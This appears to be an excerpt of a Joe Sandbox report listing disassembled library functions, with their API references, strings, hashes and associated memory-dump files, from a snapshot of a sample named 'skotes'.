Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 0ef817e4dd6f775c114727362e91bae5f3db0045e253f8e5a65af10c5bdbe980
Instruction ID: 7e11e62302fc4fc83a9c385b3f3b4cbcc4cf6ea29f5f72693df7b55e9e8b3112
Opcode Fuzzy Hash: 0ef817e4dd6f775c114727362e91bae5f3db0045e253f8e5a65af10c5bdbe980
Instruction Fuzzy Hash: 3D31A535E40214ABCF05EF64C891FADB3B9BF86314F20856DE9119B297EB70ED01CA95

Function 009C727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009C72BE

Strings

.com, xrefs: 009C72FE
.bat, xrefs: 009C72ED
.cmd, xrefs: 009C72DC
.exe, xrefs: 009C72CB

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 1bc883c095ab0ed2dff152125ea7a3f2fa2b0fa7f24595eefa3c1de114681394
Instruction ID: ce744be463efe62a413ed4d6d6d99ae9f948141e25606d3d05d799dadb543951
Opcode Fuzzy Hash: 1bc883c095ab0ed2dff152125ea7a3f2fa2b0fa7f24595eefa3c1de114681394
Instruction Fuzzy Hash: A4012B27F486A62566151199AD03F7BA39C8BC1BB8B15402EFC64F71C1DF44DC4225E6

Function 009AFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009AFB06

Strings

kernel32.dll, xrefs: 009AFA7A
SetThreadGroupAffinity, xrefs: 009AFA87
GetCurrentProcessorNumberEx, xrefs: 009AFABE
GetThreadGroupAffinity, xrefs: 009AFA93

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 2c8714e21fa73363f181786ff839ea587bcfd5890279d4602f0749697a0d78ce
Instruction ID: d76da090d8aa972a6cd475bfda33e395747ca63b591efb88bd4fd18ba34ec43c
Opcode Fuzzy Hash: 2c8714e21fa73363f181786ff839ea587bcfd5890279d4602f0749697a0d78ce
Instruction Fuzzy Hash: B501F5725413113EA61076F65C52FFB36DC8E8271CB20082AB508E2152EDB5EC1482B5

Function 009C2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 009C20B7

Part of subcall function 009BCAF3: Mailbox.LIBCMT ref: 009BCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009C20C8
StructuredWorkStealingQueue.LIBCMT ref: 009C20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009C210F

Strings

e, xrefs: 009C20D9

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 9e2f858d60215c8a6a8c2ff8f0ab5730bcbd8a22c5091a1392e4d52485367f81
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 4F11A331908105ABDB15DF69C881FAA77A8EF42368B18C55EFC06DF243DB75D901CB92

Function 009AD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 009AD0A5

Strings

kernel32.dll, xrefs: 009AD04C
WakeAllConditionVariable, xrefs: 009AD069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 009AD03B
SleepConditionVariableCS, xrefs: 009AD05D

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: e19319ca90e129e44a8ac39339148dd5afcbf5df2e90dafc2345709dfd803df9
Instruction ID: 749d30579c7b3ba8b66aa034b751e99ac495821831d28f6d20848be3db38bbae
Opcode Fuzzy Hash: e19319ca90e129e44a8ac39339148dd5afcbf5df2e90dafc2345709dfd803df9
Instruction Fuzzy Hash: 11018F70A87722ADFA317BB56C01E7F31CD8B83B4CF0A1815AA05E2690DEA0DD0295B5

Function 009D4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009D4C98
__alloca_probe_16.LIBCMT ref: 009D4D5E
__freea.LIBCMT ref: 009D4DCA

Part of subcall function 009CB04B: RtlAllocateHeap.NTDLL(00000000,64C8DA1E,?,?,009AD3FC,64C8DA1E,?,009A7A8B,?,?,?,?,?,?,00997465,?), ref: 009CB07E

__freea.LIBCMT ref: 009D4DD3
__freea.LIBCMT ref: 009D4DF6

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 516c6f845259625413a2f52c74a3d6d4d706e875384ef1195698968f16409a94
Instruction ID: 6dbfceb9140312b8bb64d52b2bdf4cf6fbaf3d177ea6e16a44ff20431d988e54
Opcode Fuzzy Hash: 516c6f845259625413a2f52c74a3d6d4d706e875384ef1195698968f16409a94
Instruction Fuzzy Hash: F951E472A40206AFEB219F64DC41FBB37AEDF85750F15852AFD04A7385EB34EC1086A1

Function 009BE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 009BE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009BE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009BE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 009BE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 009BE9DC

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
